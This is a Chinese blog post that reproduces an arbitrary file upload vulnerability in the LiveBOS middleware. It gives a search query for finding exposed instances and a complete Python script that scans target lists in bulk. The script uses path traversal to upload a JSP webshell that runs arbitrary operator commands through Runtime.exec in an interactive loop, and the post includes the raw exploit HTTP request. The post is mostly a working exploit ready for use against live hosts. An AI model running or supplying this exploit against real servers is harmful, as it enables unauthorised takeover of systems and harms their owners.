首页 > 其他分享 >【漏洞复现】LiveBos UploadFile 任意文件上传漏洞

【漏洞复现】LiveBos UploadFile 任意文件上传漏洞

时间:2024-08-14 09:25:32浏览次数:9  
标签:.. UploadFile url 漏洞 jsp result file LiveBos data

          声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。它适用于各类基于WEB的专业应用软件和行业大型应用的开发。LiveBOS由三个相对独立的产品组成:运行支持支撑平台 LiveBOS Server,开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。然而,其接口UploadFile.do;.js.jsp存在任意文件上传漏洞,攻击者可以利用该漏洞获取系统服务器权限,从而控制该系统。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body=="LiveBOS"

2.使用poc批量扫描

import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
import urllib.request
import random
import string
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = url+"/feed/UploadFile.do;.js.jsp"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
    }

    data="""-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../tmptest1.jsp"\r\nContent-Type: image/png\r\n\r\n<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3""".encode('utf-8')
    try:
        response = urllib.request.Request(target, headers=headers, data=data, method="POST", unverifiable=True)
        res = urllib.request.urlopen(response)
        upload_status_code = res.getcode()
        upload_content = res.read().decode()
        if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
            result_url = url + '/tmptest1.jsp;.js.jsp'
            result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"}, method="GET", unverifiable=True)
            res = urllib.request.urlopen(result_response)
            result_status_code = res.getcode()
            result_content = res.read().decode()
            if result_status_code == 200 and 'HelloWorldTest' in result_content:
                print(f"\033[31mDiscovered:{url}: LiveBos_UploadFile_ArbiraryFileUpload!\033[0m")
                return True
    except Exception as e:
        pass

def run(url):
    url = url.rstrip("/")
    target = url + "/feed/UploadFile.do;.js.jsp"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
    }
    if check(url):
        while True:
            command = input("\033[34mPlease input command (stop input:exit):\033[0m")
            if "exit" not in command:
                filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))
                data = """-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../replace1.jsp"\r\nContent-Type: image/png\r\n\r\n<% java.io.InputStream in = Runtime.getRuntime().exec(\"replace2\").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3"""
                data = data.replace('replace1',filename).replace('replace2',command).encode('utf-8')
                try:
                    response = urllib.request.Request(target, headers=headers, data=data, method="POST",unverifiable=True)
                    res = urllib.request.urlopen(response)
                    upload_status_code = res.getcode()
                    upload_content = res.read().decode()
                    if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
                        result_url = url + '/{}.jsp;.js.jsp'.format(filename)
                        result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"},method="GET", unverifiable=True)
                        res = urllib.request.urlopen(result_response)
                        result_status_code = res.getcode()
                        result_content = res.read().decode()
                        if result_status_code == 200:
                            print(result_content)
                except Exception as e:
                    pass
            else:
                break

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:

POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Length: 343

-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
Content-Type: image/png

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3

2.数据包分析 

  1. 请求行:POST /feed/UploadFile.do;.js.jsp HTTP/1.1,表示这是一个POST请求,目标URL是/feed/UploadFile.do;.js.jsp,使用的HTTP协议版本是1.1。

  2. 请求头:包括Host、User-Agent和Content-Type等信息。

    • Host: x.x.x.x,表示请求的目标服务器地址。
    • User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36,表示发起请求的客户端信息,这里是使用Chrome浏览器的用户代理字符串。
    • Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3,表示请求体的类型是多部分表单数据,边界字符串为-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
    • Content-Length: 343,表示请求体的长度为343字节。
  3. 请求体:包含了要上传的文件内容。

    • 边界字符串:-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3,用于分隔不同的表单字段。
    • 文件信息:Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp",表示这是一个名为"file"的表单字段,文件名为"//../../../../tmptest.jsp"。
    • 文件类型:Content-Type: image/png,表示文件的类型是PNG图片。
    • 文件内容:<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>,这是一段JSP代码,输出"HelloWorldTest"并删除当前servlet路径对应的文件。

3.结束跑路

1.构造数据包,上传一个tmptest.jsp文件

2.URL访问刚刚上传的文件ip/tmptest.jsp;.js.jsp​​​​​​​

每篇一言:​​​​​​​憧憬是距离理解最遥远的感情。

标签:..,UploadFile,url,漏洞,jsp,result,file,LiveBos,data
From: https://blog.csdn.net/weixin_54799594/article/details/141024109

相关文章

  • 高危漏洞CVE-2024-38077的修复指南
    “根据2024年8月9日,国家信息安全漏洞共享平台(CNVD)收录了Windows远程桌面许可服务远程代码执行漏洞(CNVD-2024-34918,对应CVE-2024-38077)。未经身份认证的攻击者可利用漏洞远程执行代码,获取服务器控制权限。目前,该漏洞的部分技术原理和概念验证伪代码已公开,厂商已发布安......
  • 格式化字符串漏洞
    一、格式化字符串漏洞原理格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,即printf()函数并不能确定数据参数arg1,arg2…究竟在什么地方结束,也就是说,它不知道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址的内容格式字......
  • 春秋云境 | 逻辑漏洞 | CVE-2022-23134
    目录靶标介绍开启靶场获取flag靶标介绍ZabbixSiaZabbix是拉脱维亚ZabbixSIA(ZabbixSia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。Zabbix存在安全漏洞,该漏洞源于在初始设置过程之后,setup.php文件的某些步骤不仅可以由超级......
  • 春秋云境 | 逻辑漏洞 | CVE-2020-13933
    靶标介绍<p>ApahceShiro由于处理身份验证请求时出错存在权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。</p>开启靶场发现不管拿点哪里都是登录页面,发现登录框那里写着flag在/admin里访问之后并没有反应,在后......
  • WookTeam searchinfo SQL注入漏洞复现
    0x01产品简介WookTeam是一款轻量级的在线团队协作工具,提供各类文档工具、在线思维导图、在线流程图、项目管理、任务分发,知识库管理等工具。0x02漏洞概述WookTeam/api/users/searchinfo 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信......
  • 智慧校园(安校易)管理系统 FileUpAd.aspx 文件上传致RCE漏洞复现
    0x01产品简介“安校易”是银达云创公司基于多年教育市场信息化建设经验沉淀,经过充分的客户需求调研,并依据国家“十三五”教育信息化建设规范而推出的综合互联网+教育信息化解决方案。“安校易”以物联网技术为基础,以学生在校“学食住行”管理为中心,将消费管理、门禁管理、各......
  • 方天云智慧平台系统 setImg.ashx 文件上传致RCE漏洞复现
    0x01产品简介方天云智慧平台系统,作为方天科技公司的重要产品,是一款面向企业全流程的业务管理功能平台,集成了ERP(企业资源规划)、MES(车间执行系统)、APS(先进规划与排程)、PLM(产品生命周期)、CRM(客户关系管理)等多种功能模块,旨在通过云端服务为企业提供数字化、智能化的管理解决方案......
  • 【PHP安全系列】demo:PHP 反序列化漏洞①
    <?phpclassindex{private$test;publicfunction__construct(){$this->test=newnormal();}publicfunction__destruct(){$this->test->action();}}classnormal{publicfunct......
  • Windows超高危漏洞“狂躁许可”实际利用全过程曝光!(附POC)
     自"永恒之蓝"之后,Windows再次暴露出一个影响全版本且高度稳定可利用的预认证远程代码执行(RCE)漏洞。本文将跟随漏洞披露者的第一视角,详细探讨漏洞的技术原理、利用方法,并提供相关的概念验证伪代码。文章同时附有演示视频,展示了该漏洞在最新的WindowsServer2025上的实......
  • 【待做】【WEB安全】浅谈JSONP劫持漏洞
    一、JSONP二、JSONP劫持示例三、JSONP劫持绕过方法3.1Referer过滤(常规)不严格3.2空引用绕过3.3回调可以定义引起的安全问题3.4测试HTML代码四、JSONP修复JSONPJSONP的全称是JSONwithPadding,是一种基于JSON格式来解决跨域请求资源的方案。由于......